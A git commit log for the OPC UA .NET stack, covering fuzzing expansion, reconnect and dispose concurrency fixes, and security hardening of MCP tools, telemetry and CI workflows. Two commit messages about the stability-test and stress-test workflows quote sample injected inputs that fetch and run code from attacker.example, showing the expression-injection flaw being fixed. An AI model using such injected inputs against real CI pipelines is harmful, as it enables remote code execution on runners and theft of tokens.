2369 Commits

Author SHA1 Message Date
Marc Schier 4757db13a0 Certificates.Fuzz: catch NotSupportedException in PKCS#10 fuzz target (fix CI build 14591 net48 failure)
Build 14591 (logs/482) failed on net48 with 2 test errors after the
corpus expansion in eba7fc64 added a new ECC CSR seed (request-ecc.der):

  Failed FuzzGoodTestcases(AflfuzzPkcs10CertificationRequest, request-ecc.der)
  Failed FuzzGoodTestcases(LibfuzzPkcs10CertificationRequest, request-ecc.der)
    System.NotSupportedException : ECDSA certificate signing request
    verification is not supported on this platform. Please use .NET 6.0
    or later.
    at Opc.Ua.Security.Certificates.Pkcs10CertificationRequest.VerifyEcdsaSignature
    at Opc.Ua.Security.Certificates.Pkcs10CertificationRequest.Verify
    at Opc.Ua.Fuzzing.FuzzableCode.FuzzPkcs10CertificationRequestCore

Root cause: Pkcs10CertificationRequest.VerifyEcdsaSignature throws
NotSupportedException on net48 / .NET Standard 2.x because the
implementation requires ECDsa.ImportSubjectPublicKeyInfo which is only
available on .NET 6.0+. The production code is explicit about this:

  // For .NET Framework 4.8 and .NET Standard 2.x, ECDSA CSR
  // verification is not supported. This is acceptable as the GDS
  // Server primarily uses RSA certificates.
  throw new NotSupportedException(...);

And Pkcs10CertificationRequest.Verify() likewise explicitly rethrows
NotSupportedException with a comment "Unsupported algorithm - rethrow
to inform caller".

Fix: extend the existing catch list in FuzzPkcs10CertificationRequestCore
to also swallow NotSupportedException. The fuzz harness's purpose is to
find parser bugs in the binding; platform/algorithm gaps that production
code already documents as intentional are not findings. An inline
comment records the reasoning so this stays correct under future
refactors.

Scope: only FuzzableCode.Pkcs10.cs is touched. No other Fuzz target hit
NotSupportedException in the CI run, and Pkcs10CertificationRequest.Verify
is the only production caller that intentionally rethrows it through any
of these fuzz code paths.

Verified locally:
  - Certificates.Fuzz.Tests net48:  460 / 0 failed  (previously 2 failed)
  - Certificates.Fuzz.Tests net10:  460 / 0 failed
  - Encoders.Fuzz.Tests    net48:  4131 / 0 failed
  - Encoders.Fuzz.Tests    net10:  4131 / 0 failed
  - Network.Fuzz.Tests     net10:   330 / 0 failed
  - Network.Fuzz.Tests     net48:   N/A (project targets net8.0/net9.0/net10.0 only)

Total 5381 tests, 0 failures across the affected TFM matrix.
2026-06-12 10:17:27 +02:00
Marc Schier ae34b02938 Fuzzing coverage expansion (Full Encoders / Certificates / Network) (#3867)
# Description

Broadens fuzz coverage across the highest-value untrusted-input surfaces
in the stack, refactors the per-area scaffolding so adding a new fuzz
area is a copy-paste-replace operation, and integrates everything into
`UA.slnx`, `Fuzzing/Fuzzing.md`, and `Docs/README.md`.

**Totals**: 143 files, +4961 / −289. Source plan:
`plans/27-fuzzing-coverage-expansion.md` (added in this PR).

### Shared scaffolding (refactor, no behaviour change)

* Extract generic NUnit replay harness from
`Encoders/Fuzz.Tests/EncoderTests.cs` into
`Fuzzing/common/Fuzz.Tests/{FuzzTargetTestsBase,FuzzTargetFunction,TestcaseAsset,TestAssetUtils}.cs`.
* Each area's `Fuzz.Tests` becomes a thin subclass binding its own
`FuzzableCode` type.
* Hardcoded testcase-suffix arrays replaced with `Testcases.*` directory
discovery at runtime.
* New `Fuzzing/scripts/fuzz-menu.ps1`: dynamic target menu enumerating
`FuzzableCode` statics via reflection — no more hardcoded target lists
in `libfuzz.bat` / `aflfuzz.sh`.

### Encoders area hardening

* **Bug fix**: `AflfuzzXmlEncoder` was re-encoding via `JsonEncoder`;
now uses `XmlEncoder` (the `LibfuzzXmlEncoder` variant was already
correct).
* Add idempotent JSON / XML targets mirroring the existing Binary
idempotent pattern.
* Add compact-JSON encoder option coverage (`JsonEncoderOptions.None`
alongside `Verbose`).
* New `FuzzableCode.BuiltInTypes.cs` (48 targets): `NodeId`,
`ExpandedNodeId`, `Variant`, `ExtensionObject`, `DataValue`,
`DiagnosticInfo`, `QualifiedName`, `LocalizedText` × Binary/JSON/XML
decoders.
* Enrich `Encoders.Testcases.cs` seed corpus with `BrowseRequest` +
`WriteRequest`.
* New `Fuzzing/dictionaries/binary.dict`.

### String parsers (folded into Encoders area)

* New `FuzzableCode.Parsers.cs` (12 targets): `NodeId.Parse`,
`ExpandedNodeId.Parse`, `RelativePathFormatter.Parse`,
`QualifiedName.Parse`, `NumericRange.Parse`, `Uuid` round-trip (both
afl-string and libFuzzer-span signatures).
* New `Fuzzing/dictionaries/nodeid.dict`.

### Certificates / CRL / ASN.1 (NEW area)

* New `Fuzzing/Certificates/{Fuzz,Fuzz.Tests,Fuzz.Tools}` referencing
`Opc.Ua.Security.Certificates` + `Opc.Ua.Core`.
* Targets (20 total): `X509CRL(byte[])` → `EnsureDecoded`,
`X509SubjectAltNameExtension` / `X509AuthorityKeyIdentifierExtension` /
`X509CrlNumberExtension` raw-ASN.1 decoders,
`PEMReader.ImportPublicKeysFromPEM` / `ImportRsaPrivateKeyFromPEM`,
`Pkcs10CertificationRequest`, `AsnUtils.ParseX509Blob` + `AsnReader`
sequence/integer helpers.
* `Certificates.Testcases.cs` builds an RSA cert / CRL / CSR with the
existing builders and emits raw DER + PEM seeds.
* New `Fuzzing/dictionaries/asn1.dict` (DER tags, context-class tags,
length-form sentinels, OID prefixes).

### Network area via `Opc.Ua.Bindings.Pcap` (NO Core changes, NEW area)

* New `Fuzzing/Network/{Fuzz,Fuzz.Tests,Fuzz.Tools}`, multi-targeted
`net8.0;net9.0;net10.0` to match the pcap binding matrix (excluded from
net48/net472).
* **Stateless targets**: `OpcUaFrameParser.Process` (TCP segment → UA-SC
chunk splitter), `TcpStreamReassembler.Process` (raw TCP reassembly),
`OfflineSecureChannel.ReadChunk` (UA-SC symmetric decrypt + verify via
`UaSCUaBinaryChannel.ReadSymmetricMessage` → every security profile
covered through the binding), `ServiceCallReassembler.Push` (chunk →
decoded service call).
* **Stateful libFuzzer-only targets**: `MockServerReplay` /
`MockClientReplay` drivers in a separate target list so cheap stateless
targets dominate throughput.
* Deterministic test-only `ChannelKeyMaterial` via
`SecurityPolicies.None`.
* `Network.Testcases.cs` emits synthetic Hello/Ack/Err/Rhe/MSG seeds via
`LoopbackFrameBuilder`. Live handshake recorder is out of scope for this
PR (degraded mode documented).
* `Network.Fuzz` host does **not** instantiate `NicCaptureSource` — the
AFL/libFuzzer process never opens raw sockets.
* New `Fuzzing/dictionaries/uasc.dict` (MSG/OPN/CLO/HEL/ACK/ERR/RHE
magic + chunk-type bytes + security-policy URI prefixes) and `tcp.dict`
(Ethernet/IPv4/TCP framing markers).

### `Opc.Ua.Core` UA-SC parse seam (complements 4a)

* New `Stack/Opc.Ua.Core/Stack/Tcp/TcpMessageParsers.cs` — `internal
static` helpers for the pre-crypto, pre-auth chunk surface NOT covered
by the pcap binding: `TryParseChunkHeader`, `ReadHelloMessage`,
`ReadAcknowledgeMessage`, `ReadErrorMessage`, `ReadReverseHelloMessage`,
`ReadAsymmetricMessageHeader`.
* **No production-code refactor** (Strategy B): the new internal helpers
are an independent parse seam, not a refactor of the entangled private
channel methods. Existing `ProcessHelloMessage` /
`ProcessReverseHelloMessage` / asym-header decode paths are untouched.
Behaviour is byte-identical (verified — Opc.Ua.Core.Tests Tcp subset 7/7
passing).
* Surface via `<InternalsVisibleTo Include="Network.Fuzz" />` (+
matching Tools and Tests entries because the linked
`FuzzableCode.Transport.cs` compiles from all three host projects).
* New `Fuzzing/Network/Fuzz/FuzzableCode.Transport.cs` (12 targets) +
`Fuzzing/Network/Fuzz.Tools/Transport.Testcases.cs` (seeds under
`Testcases.Tcp.*`).

### Integration

* `UA.slnx`: add the 6 new fuzz projects, 4 new shared harness `.cs`
files, 5 new dictionaries, and the new `fuzz-menu.ps1` script — all
under the right `/Fuzzing/<Area>/` solution folders.
* Rewrite `Fuzzing/Fuzzing.md`: areas table, per-area dictionaries,
dynamic target-menu, step-by-step "how to add a new fuzz area" recipe,
Network area's replay-driven seed pipeline + key-material discipline,
pcap binding dependency note.
* Cross-link from `Docs/README.md` to `Fuzzing/Fuzzing.md`.
* Fix `.Order()` → `.OrderBy()` in shared scaffolding
(`.Order(IComparer)` is net7+; the harness compiles on net48/net472 for
the Encoders + Certificates test matrices).

## Verification

| Project | TFM | Tests | Result |
|---|---|---|---|
| `Encoders.Fuzz.Tests` | net10.0 | 4131 | ✅ 0 failed |
| `Certificates.Fuzz.Tests` | net10.0 | 220 | ✅ 0 failed |
| `Network.Fuzz.Tests` | net10.0 | 330 | ✅ 0 failed |
| **Total** |  | **4681** | **✅ 0 failed** |

* Full `dotnet build UA.slnx` (all TFMs, including
net48/net472/net8/net9/net10): **0 errors**, warning count unchanged
from baseline.
* `Network.Fuzz` multi-TFM build: **net8.0 + net9.0 + net10.0** all
green.
* `Opc.Ua.Core` build: **0 errors, 0 warnings** after Phase 4b seam
addition.

## Notes for reviewers

* **Base branch**: `channelrefinements2`, not `master`. The pcap binding
(`Stack/Opc.Ua.Bindings.Pcap`) only exists on the channelrefinements
line.
* **Real keylog / key material**: never committed. All Network seed
corpora use deterministic material generated from fixture test
certificates via the binding's own replay helpers.
* **`.der` test assets**: force-added with `git add -f` (consistent with
the existing intentional exception at
`Tests/Opc.Ua.Security.Certificates.Tests/Assets/OPC Foundation Root CA
[...].der`); the repo-wide `*.der` gitignore otherwise excludes them.
* **Out of scope** (documented as fold-ins for future work):
`PcapFileReader` / `PcapNgFileWriter` / `UaKeyLogTextReader` /
`UaKeyLogJsonReader` defensive parser fuzzing; live handshake recorder
for `Network.Testcases.cs`; real loopback replay drivers (current
implementation uses synthetic replay).

## Checklist

- [ ] I have signed the
[CLA](https://opcfoundation.org/license/cla/ContributorLicenseAgreementv1.0.pdf)
and read the
[CONTRIBUTING](https://github.com/OPCFoundation/UA-.NETStandard/blob/master/CONTRIBUTING.md)
doc.
- [x] I have added tests that prove my fix is effective or that my
feature works and increased code coverage.
- [x] I have added all necessary documentation.
- [x] I have verified that my changes do not introduce (new) build or
analyzer warnings.
- [ ] I ran **all** tests locally using the **UA.slnx** solution against
at least .net **framework** and .net **10**, and all passed. _(Fuzz
suites verified on net10.0: 4681/4681 passing. Full UA.slnx build green
on all TFMs. Full repo-wide test run not yet executed on net48 —
pre-existing tests unaffected by these changes; only
`Stack/Opc.Ua.Core/Stack/Tcp/TcpMessageParsers.cs` is new and is gated
behind `<InternalsVisibleTo>`.)_
- [ ] I fixed **all** failing and flaky tests in the CI pipelines and
**all** CodeQL warnings.
- [ ] I have addressed **all** PR feedback received.
2026-06-12 10:15:28 +02:00
Marc Schier b32a6a73b3 PR feedback: reword security-bar prose, drop SAST paragraph, collapse empty doc lines, add /// <inheritdoc/> on EncryptedKeyLogStream overrides 2026-06-11 15:06:48 +02:00
Marc Schier 5530a12d4a McpServerOptions: DI-driven NodeSetExportRoot + PcapBaseFolder
Replaces the static-only ExportRoot / env-var-only configuration in NodeSetExportTools with an instance-aware ResolveExportRoot(IServiceProvider) that consults McpServerOptions from DI first. Same pattern applied to PacketDecodeTools.GetDecodeAllowedRoot for symmetric naming.

Precedence (both options): services.GetService<McpServerOptions>().Property > OPCUA_MCP_EXPORT_ROOT env var (NodeSet) or PcapOptions.BaseFolder (Decode) > per-tool default. Backward-compat: ExportRoot static property + OPCUA_MCP_EXPORT_ROOT env var both still work.

Program.cs now seeds McpServerOptions from OPCUA_MCP_NODESET_EXPORT_ROOT and OPCUA_MCP_PCAP_BASE_FOLDER environment variables so hosts can override without code changes.

Tests: 7 NUnit tests in McpServerOptionsTests covering DI > env var > default precedence for both options. Reflection-based to reach internal/private helpers — same pattern as the existing PacketDecodePathValidationTests.

Build: 0 warnings / 0 errors on Applications/McpServer for net10.0. Pcap.Tests build blocked locally by the unrelated SDK 10 workload manifest issue (see prior commit for details).
2026-06-11 15:01:53 +02:00
Marc Schier e3e7134d56 Merge branch 'channelrefinements' into channelrefinements2
Resolved NodeSetExportTools.cs conflict by adopting base branch's ResolveExportPath / ExportRoot abstraction (configurable via OPCUA_MCP_EXPORT_ROOT env var) and removing my redundant ResolveAndValidateExportPath helper + NodeSetExportPathValidationTests.cs. Base implementation is functionally a superset of F19's hard-coded LocalAppData approach.
2026-06-11 13:24:59 +02:00
Marc Schier e8afa4237b Security hardening: 25-finding pass against SFI / SDL / OPC UA Part 2 baseline
Addresses 25 of 39 findings from a branch security review (assessment 5).

CRITICAL: F1 gate MCP key-disclosure tools, F2 0600 keylog/pcap files, F3 per-user BaseFolder, F16 ChannelKeyMaterial IDisposable + ZeroMemory, F17 PcapFileReader MaxPacketBytes (64MB) bound, F18 FlowBuffer MaxBufferBytes (256MB) cap, F19 NodeSet export path validation, F20 ReplaySession listenPort range.

HIGH: F4 IPcapAuditSink + LoggerPcapAuditSink + rate-limited frame-capture audit, F5 AES-256-GCM EncryptedKeyLogStream + SessionKeyManager (sibling .key file 0600), F14 IKeyEscrowProvider abstraction + DiskKeyEscrowProvider default (DI TryAddSingleton so consumers can route to KMS), F21 ChannelManagerOptions.MaxChannels (256) cap, F22 CaptureSessionManager.SessionFolder path-traversal guard, F23 PacketDecodeTools pcapPath/keyLogPath validation, F24 replay_pcap speed validation (NaN/Inf/<=0), F25 explicit permissions blocks on .github/workflows.

MEDIUM: F6 OnTokenActivated [EditorBrowsable(Never)] + key-disclosure doc, F7 IDiagnosticsChannelMutation accessor + stack-walk caller guard (replaces internal OfflineLoadTokens), F8 PcapOptions.AllowMockClientReplay + AllowedReplayEndpoints, F9 PcapFileWriter / UaKeyLog*Writer rotation (.NNN suffix) with MaxBytes / MaxArtifactsPerSession, F13 keylog-isolation gap acknowledgment doc, F15 HashChainedAuditFileSink (HMAC-chained JSONL ledger, VerifyChain), F11 replay URL scheme allow-list (opc.tcp/opc.tcps/opc.https).

LOW/INFO: F10 SBOM/CVE governance comments on PacketDotNet/SharpPcap + Docs/PacketCapture.md, F12 Security model section at top of PacketCapture.md.

Tests: 100+ new NUnit tests across Audit/, Capture/, Frame/, KeyLog/, McpServerTools/, Replay/, Stack/Tcp/, DependencyInjection/. All file-mode/HMAC-chain/encryption tests are [Platform(Linux,MacOSX)]-gated where Unix-specific.

Build: 0 warnings / 0 errors on Stack/Opc.Ua.Bindings.Pcap for net8.0 and net9.0. net10.0 build is environmentally blocked by a corrupted local SDK 10.0.300 workload manifest (microsoft.net.workload.mono.toolchain.net6 10.0.108 requires Emscripten.net6 >=10.0.108, only 9.0.17 installed); requires 'dotnet workload repair' from an elevated shell to validate the third TFM. No tests were run pending the SDK fix. 5 CA1508/CA2000 false positives suppressed with documented #pragma blocks (ownership transfer in escrow factory / IAsyncEnumerable iterator / unreachable catch path).

Deferred to follow-up GitHub issues: 9 MEDIUM (M-SEC-07/09/10/11/12/13/16/22/31 — exception sanitization, reconnect defaults, cert-rotation races, nonce-suppress deprecation, parser hardening) and 10 LOW/INFO (L-SEC-14/15/17/23/24/33/34/35/36/37 — handler cleanup, EventSource endpoint masking, key-log schema validation, EOL deps, SAST). Full reasoning in session plan.md Round 10.
2026-06-11 13:10:09 +02:00
Marc Schier 5353c69287 Merge branch 'master' into channelrefinements 2026-06-11 12:38:33 +02:00
Marc Schier a3ae6db71a [test] Accommodate non-blocking lease Dispose with thread-safe listeners and polling helpers
After commit 2a4f4f601 made ManagedTransportChannelLease.Dispose()
fire-and-forget on the thread pool (to fix a sync-context deadlock),
several test helpers exposed pre-existing races that the previous
synchronous Dispose had been masking:

  - ChannelMetricListener.Measurements was a plain List<T>; the
    metric callbacks (OnLong/Double/MeasurementRecorded) fire from
    arbitrary threadpool threads, so concurrent Add on one thread and
    enumerate on the test thread threw "Collection was modified" in
    FormatMeasurements. Change to ConcurrentQueue<MeasurementRecord>
    and use snapshot-stable enumeration in HasMeasurement +
    FormatMeasurements.
  - ChannelEventListener.Events had the same race against
    EventWritten callbacks; same fix (ConcurrentQueue).

Four tests asserted state that is now produced asynchronously by the
lease teardown task, so they need to poll before the hard assertions:
  - MetricsAreEmittedForChannelLifetimeAsync (wait for the
    opcua.channel.close metric)
  - DiscoveryClientCreateAsyncSharesSessionChannelAndReleasesLeaseAsync
    (wait for Moq.Verify on CloseAsync)
  - EventSourceFiresStateTransitionsAsync (wait for
    ParticipantDetached + ChannelClosed EventSource events)
  - FailoverWithDifferentEndpointSwapsLeaseAsync (wait for the lease
    State transition AND the underlying CloseCount increment)

Three new helpers consolidate the polling pattern:
  - WaitForMeasurementAsync (existing — used for the metric path)
  - WaitForMockInvocationAsync (new — catches Moq.MockException and
    re-runs verify until budget exhausted; final verify is allowed
    to throw)
  - WaitForConditionAsync (new — generic state poll with description)

All helpers use a 2 s budget with 25 ms polling intervals, matching
the existing pattern in MetricsAreEmittedForReconnectAndGateWaitAsync
(53ff029df).

Verification:
  - Source-tree builds clean on net10.0 (Stack/Opc.Ua.Core,
    Libraries/Opc.Ua.Client, Applications/McpServer all 0 W, 0 E)
  - Local .NET 10 SDK install became corrupted mid-session
    (C:\Program Files\dotnet\sdk\10.0.300 emptied of all but the
    Roslyn subfolder), blocking a final test rebuild for the LAST
    edit to FailoverWithDifferentEndpointSwapsLease (the
    state-and-close combined poll). The two previous test edits in
    this commit were rebuilt and verified at 4/4 pass + 10x stability
    (the FailoverWithDifferentEndpoint flake reproduced before the
    final edit and motivates the combined-condition poll). CI is the
    canonical re-verifier for the final tweak.
2026-06-11 12:26:55 +02:00
Marc Schier 04f3d12fa8 [security] Bound the participant metric tag to per-kind cardinality (MEDIUM-4)
plans/security-assessment.md MEDIUM-4 (unbounded metric cardinality):

opcua.channel.participant.timeout.count and
opcua.channel.participant.recreate.count emit a "participant" tag
whose value was the full per-instance IReconnectParticipant.Id. Two
problems:
  - ClientChannelReconnectParticipant uses
    "{idPrefix}-{Guid.NewGuid():N}" — the suffix made every instance
    permanent in cardinality-retaining metric backends (Prometheus,
    OTLP, Application Insights).
  - Session.ChannelManager.cs:45 used a bare Guid with NO prefix at
    all, so the metric tag was a 32-hex-char string with no way for
    operators to bucket the data.

Fix:
  - Session.ChannelManager.cs:45 — prefix the GUID with "Session-" so
    Session participants follow the same prefix-then-suffix shape as
    ClientChannelReconnectParticipant.
  - ClientChannelManagerMetrics — add a GetParticipantKind helper
    that returns everything before the first '-' (or the full id if
    no '-'). Use it in CreateEndpointParticipantTags and
    CreateEndpointParticipantSuccessTags so the metric tag stays at
    per-kind cardinality ("Session", "Client", …).
  - Full per-instance id continues to flow through Activity tags and
    EventSource events (separate code path in
    ClientChannelManagerDiagnostics) so distributed traces remain
    correlatable.
  - Docs/Sessions.md callout updated to describe the now-bounded
    behavior (was a warning before, now describes the implemented
    semantic and the convention required of custom participants).

Build verified: Stack/Opc.Ua.Core, Libraries/Opc.Ua.Client net10.0 —
0 W, 0 E.
2026-06-11 12:26:54 +02:00
Marc Schier 25dc407917 [security] ClientChannelManagerCertRotation: refuse rotation events that cannot be matched to this application's identity (MEDIUM-3)
plans/security-assessment.md MEDIUM-3 (cert-identity confusion):

CertificateIdentifierMatches previously returned true unconditionally
when the ApplicationCertificate had neither Thumbprint nor RawData
configured (the common StorePath + SubjectName configuration). With a
shared CertificateManager, any rotation event whose type matched the
configured certificate type would be adopted — including events
intended for a completely different application that just happens to
share the same manager.

Add a SubjectName-based fallback BEFORE the unconditional accept, and
flip the final fallback to refuse:

  1. Match on Thumbprint if configured (existing — unchanged)
  2. Match on RawData if configured (existing — unchanged)
  3. NEW: match on SubjectName via X509Utils.CompareDistinguishedName
     against the old or new certificate's Subject
  4. If none of the above are configured, REFUSE the rotation event
     and emit a LogWarning telling the operator to configure at least
     ApplicationCertificate.SubjectName so cert rotation can match
     securely

The SubjectName comparison uses CompareDistinguishedName which is
case-insensitive and order-tolerant, matching how
CertificateValidationCore validates subject identities elsewhere in
the stack.

The static helper now takes an ILogger? parameter so the refusal
warning can be emitted without further plumbing.

Build verified: Stack/Opc.Ua.Core net10.0 — 0 W, 0 E.
2026-06-11 12:26:53 +02:00
Marc Schier 2be0f5c4d5 [docs] Document the secure-by-default DI HttpClient fallback and the channel-manager diagnostics surface contract
Docs/Sessions.md:
  - New subsection "HTTPS factory + OPC UA cert validation:
    secure-by-default fallback" under § 4. Explains the two
    HttpsTransportChannel construction paths, why the factory is
    bypassed when a CertificateValidator is configured, the one-time
    LogWarning, and how a consumer can keep both Polly resilience AND
    OPC UA cert validation by registering the named HttpClient with
    ConfigurePrimaryHttpMessageHandler that wires OPC UA validation
    in themselves.
  - New subsection "Diagnostics surface contract — what tags and
    EventSource fields carry". Codifies what is allowed on Activity
    tags / EventSource events (StatusCode, SymbolicId, LocalizedText
    only) vs what stays in local ILogger.LogDebug (AdditionalInfo,
    inner exception data). Includes the bounded metric tag set with
    enumerated outcome / reason values, the correct
    transient-failure spelling, and a callout that the participant
    tag carries the full per-instance ID (cardinality is bounded by
    live participant count, but workloads with churn should rewrite
    the suffix at the OTel processor).

Docs/DependencyInjection.md:
  - "Channel manager" section adds a security trade-off callout
    pointing operators to the new Sessions.md HTTPS-secure-fallback
    section.
2026-06-11 10:48:45 +02:00
Marc Schier 38d4a29070 [security] McpServer NodeSetExportTools: constrain MCP-tool file paths to an export root
ExportNodeSetAsync.filePath and ExportNodeSetPerNamespaceAsync.
outputDirectory are LLM-supplied MCP tool arguments. The old code
passed them directly to Directory.CreateDirectory and to
new FileStream(path, FileMode.Create) with no canonicalization or
allowlist. A prompt-injected LLM call could overwrite arbitrary files
the MCP-server process can write to.

Add a ResolveExportPath helper that:
  - rejects null/whitespace
  - resolves the request via Path.GetFullPath (so .. segments cannot
    escape after canonicalization)
  - rejects any candidate that would resolve outside the export root
    (relative or already-absolute paths must both end up inside)
  - returns the canonicalized absolute path

ExportRoot:
  - defaults to {Path.GetTempPath}/Opc.Ua.Mcp/exports
  - overridable via the OPCUA_MCP_EXPORT_ROOT environment variable
    set before the MCP server starts
  - cached via Lazy<string> with ExecutionAndPublication semantics
  - exposed publicly as NodeSetExportTools.ExportRoot for callers
    and tests

Both ExportNodeSetAsync and ExportNodeSetPerNamespaceAsync now call
ResolveExportPath first; if the LLM supplied an out-of-root path,
the call throws ArgumentException before any filesystem write
occurs.

Activity-level success records continue to include the (resolved)
filePath so the MCP caller still sees where the file landed.

Verified Applications/McpServer/Opc.Ua.Mcp.csproj builds clean
(net10.0): 0 W, 0 E.
2026-06-11 10:48:42 +02:00
Marc Schier b50ffa0536 [security] stability-test.yml: read TEST_DURATION_MINUTES as a shell variable, not a workflow expression
Final security-review regression-sweep finding (MEDIUM, conf 9/10),
same anti-pattern that 3f4db2aec just fixed in stress-test.yml.

The "duration" workflow_dispatch input was bound at job-level env to
TEST_DURATION_MINUTES (line 28), then re-interpolated inside a bash
run: body via ${{ env.TEST_DURATION_MINUTES }} (line 53):

  echo "Starting connection stability test for ${{ env.TEST_DURATION_MINUTES }} minutes"

GitHub Actions substitutes the expression BEFORE bash parses the
script. A workflow_dispatch caller with write access can supply
  duration = 90"; curl https://attacker.example/x | sh; echo "
which renders to a bash script that executes the attacker payload —
RCE on the runner with the workflow's GITHUB_TOKEN.

Fix: read the value as a bash shell variable instead. The step-level
env: block (lines 62-63) already exports TEST_DURATION_MINUTES, so
$TEST_DURATION_MINUTES is available without a re-substitution:

  echo "Starting connection stability test for $TEST_DURATION_MINUTES minutes"

Other ${{ env.* }} references in the same step (CONFIGURATION,
TARGET_FRAMEWORK) are sourced from job env constants that do not
flow from github.event.inputs, so they remain safe.
2026-06-11 10:48:40 +02:00
Marc Schier d0ef235286 RetryBudget: swap Reset() write order to avoid stale-tick race
Previous Reset():
  Volatile.Write(ref m_started, 0);
  Interlocked.Exchange(ref m_startTicks, kNotStarted);

A concurrent EnsureStarted() observer could see m_started == 0 (taking
the "reset, so go start" branch), then read the stale m_startTicks
value BEFORE the Interlocked.Exchange landed, and treat the budget as
already-started against the pre-reset timestamp. IsExhausted /
TryConsume then computed elapsed time from the old origin.

Fix: reset m_startTicks first, then m_started. EnsureStarted writes
m_started = 1 only after the CAS on m_startTicks succeeds, so
resetting m_startTicks first preserves that invariant — no observer
can see "started == 1" with a stale tick value.
2026-06-11 09:56:06 +02:00
Marc Schier 2a4f4f6014 ManagedTransportChannelLease: non-blocking sync Dispose (deadlock under sync context)
Sync Dispose previously called
  DisposeAsyncCore().AsTask().GetAwaiter().GetResult()
which ultimately performs network I/O (TCP FIN handshake) via
ChannelEntry.TearDownAsync → underlying.CloseAsync. On any host that
captures a SynchronizationContext (legacy ASP.NET, WPF, WinForms)
synchronous Dispose on the UI/request thread deadlocks. Even without
a sync context, a thread-pool thread is pinned on network I/O for the
close duration.

New Dispose() body:
  - Atomically marks the lease released via
    Interlocked.Exchange(ref m_active, 0) (idempotent — second call
    short-circuits, so lease accounting cannot double-release)
  - Pushes the actual Entry.ReleaseLeaseAsync(this) onto the thread
    pool via Task.Run and returns IMMEDIATELY
  - Swallows the async failure inside the fire-and-forget (sync Dispose
    cannot surface async exceptions)

CloseAsync / DisposeAsyncCore (the async path) are unchanged and still
await the full teardown chain. Documented on Dispose() that callers
needing teardown observability must use CloseAsync().
2026-06-11 09:56:01 +02:00
Marc Schier 39eb086443 ChannelEntry: track tightest IRetryBudget across coalesced joiners; ClampDelayToBudget signals exhaustion
Two related correctness fixes for the channel-reconnect path.

1. ChannelEntry.RequestReconnectAsync coalescing budget
   When multiple callers concurrently invoke RequestReconnectAsync, the
   first becomes the "starter" and its budget is passed to the cycle.
   Subsequent "joiners" were silently dropping their budget parameter
   — so a joiner with a strict 10-second deadline could not tighten an
   in-flight cycle that the starter began without one.
   Fix: add an m_effectiveBudget field guarded by m_lock. Every caller
   (starter + joiners) updates it via TighterOf(current, candidate),
   which returns the budget with smaller remaining time (null = "no
   constraint", so a null joiner never relaxes). The cycle re-reads
   GetEffectiveBudget() at the top of every iteration AND immediately
   after the inter-attempt delay, so a late joiner can preempt an
   in-flight sleep. The finally block clears m_effectiveBudget so the
   next cycle starts unconstrained.
   XML doc on RequestReconnectAsync(CancellationToken) describes the
   coalescing semantics in plain language.

2. ChannelReconnectPolicyBudget.ClampDelayToBudget exhaustion semantics
   For a custom IChannelReconnectPolicy that does NOT also implement
   IBudgetAwareChannelReconnectPolicy, when the shared retry budget
   was exhausted the helper returned the ORIGINAL delay unchanged
   instead of signaling "stop retrying". Downstream
   ChannelEntry.RunReconnectCycleAsync independently checks
   budget.IsExhausted so no extra reconnect attempt was issued, but
   the bug wasted one delay cycle (up to MaxDelay = 30 s default)
   before the fault transition was detected.
   Fix: return Timeout.InfiniteTimeSpan when TryConsume returns false
   — matching ExponentialBackoffChannelReconnectPolicy.GetDelay.
2026-06-11 09:55:59 +02:00
Marc Schier 03df79835a [security] ClientChannelManagerDiagnostics: do not leak inner-exception detail to Activity tags or EventSource
Previously CompleteReconnectActivity, EmitReconnectFailed and
EmitStateChanged passed ServiceResult.ToString() / GetErrorMessage
(which delegated to ToString) to:
  - activity?.SetTag("error.message", ...)
  - ChannelManagerEventSource.ReconnectFailed / StateChanged

ServiceResult.ToString() serializes StatusCode, SymbolicId,
LocalizedText, AdditionalInfo (often inner-exception messages including
file paths and stack traces) and InnerResult. These tags are exported
to distributed-tracing backends where operators with telemetry-read
access can see internal client/server diagnostics they should not.

Replace with GetSafeErrorMessage(ServiceResult?) which returns ONLY
OPC UA-protocol-level fields:
  - error.LocalizedText.Text if present and non-empty
  - else error.SymbolicId ?? string.Empty

The "error.status_code" Activity tag (StatusCode only) is preserved —
that is safe to expose. Full ServiceResult contents (AdditionalInfo,
inner .NET exception data) continue to flow through local ILogger debug
logs only; never through Activity tags or EventSource events.

Type-level XML doc on the class is updated to record the contract.
2026-06-11 09:55:55 +02:00
Marc Schier 30495fb6f0 [security] buildandtest.yml: add workflow-scoped permissions: contents: read
Add an explicit top-level "permissions:" block. Without it the workflow
inherited the repository's default GITHUB_TOKEN scopes — typically
contents: write, packages: write, etc. on push events — none of which
a build-and-test workflow needs. Least-privilege per SecCab-LeastPrivilege.

Block placed between "on:" and "concurrency:" so it scopes the whole
workflow (no individual job needs an override). Mirrors the scope used
by the new .github/workflows/stress-test.yml. No CI semantics change —
all jobs still run.
2026-06-11 09:53:59 +02:00
Marc Schier 3f4db2aec4 [security] stress-test.yml: env-var indirection for workflow_dispatch seed input
Security-review subagent finding (MEDIUM, confidence 9/10).

The "Generate ChaosTCP seed" step interpolated the workflow_dispatch
input directly into a pwsh run: body:

  $configuredSeed = '${{ github.event.inputs.seed }}'

GitHub Actions substitutes the expression BEFORE the pwsh parser sees
the script. A workflow_dispatch caller (must have write access on the
repo) could supply a value like:

  '; iwr https://attacker.example/x -OutFile /tmp/x; ./x; '

which renders to:

  $configuredSeed = ''; iwr ... ; ./x; ''

— arbitrary PowerShell on the runner. Defense-in-depth gap: a leaked
CI token, compromised maintainer PAT, or future write-access grant
becomes runtime RCE without ever committing to git.

Fix: move the untrusted value into a step-scoped environment variable
and let pwsh read it as data, not as code:

  env:
    INPUT_SEED: ${{ github.event.inputs.seed }}
  run: |
    $configuredSeed = $env:INPUT_SEED
    ...

No behavioral change beyond the indirection — the same value flows
through [int]::Parse, $env:GITHUB_ENV, $env:GITHUB_OUTPUT and the
chaos-seed.txt repro file.
2026-06-11 09:53:54 +02:00
Marc Schier 5ca95abd0d [security] HttpsTransportChannel: refuse factory path when OPC UA cert validation is required
Security-review subagent finding (HIGH, confidence 9/10).

When consumers used the new DI flow services.AddOpcUa().AddClient(...),
the channel took the IHttpClientFactory branch and got back a named
HttpClient configured purely with AddStandardResilienceHandler() — and
the underlying HttpClientHandler was NOT exposed for HttpsTransportChannel
to attach:
  - ServerCertificateCustomValidationCallback wired against the OPC UA
    CertificateValidator (so the OPC UA trust list was dropped — falling
    back to the OS trust chain only)
  - The OPC UA application instance client certificate (so OPC UA mTLS
    was silently disabled)
  - AllowAutoRedirect = false (HTTPS redirects were now followed)
